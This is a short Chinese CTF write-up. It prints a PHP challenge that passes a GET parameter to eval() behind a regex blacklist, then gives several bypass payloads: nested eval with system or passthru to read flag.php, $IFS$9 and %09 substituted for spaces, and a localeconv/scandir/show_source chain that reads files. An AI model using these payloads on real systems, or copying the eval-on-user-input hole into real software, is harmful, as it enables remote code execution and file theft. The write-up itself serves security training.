<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
1、该题目过滤了满足正则匹配的字符串,但是由于只是对参数进行了过滤,所以可以利用嵌套的方法来进行绕过:
?c=eval($_GET[a]);&a=system('cat flag.php');
也可利用passthru()函数来代替system函数。
?c=eval($_GET[a]);&a=passthru('cat flag.php');
这里的 cat 命令也可被 tac 命令替换。
2、因为passthru函数没有被过滤,所以可以直接使用passthru函数,但是由于空格被过滤,因此可以使用$IFS$9代替空格,$IFS$9的介绍可以参考以下博客:
浅谈CTF中命令执行与绕过的小技巧_$ifs$9-CSDN博客
使用$9,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
在php环境中%09也可以代替空格符号。
?c=passthru("tac\$IFS$9f*");
这里不能使用cat命令,因为是给c变量传参。
3、使用连续调用函数的方法,实现对flag的输出。
localeconv()函数可以返回一个小数点 和数组,小数点位于数组的第一位。
pos()函数输出数组的第一位,即输出小数点。
scandir()函数,扫描目录,由于 . 代表当前目录,所以会扫描当前目录中的文件。
使用array_reverse()函数,颠倒查询到的目录下的文件的位置,即将flag.php文件移动到第二个位置。
利用next()函数,读取第二个位置的文件。
show_source();输出源码
所以最终payload的为:
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));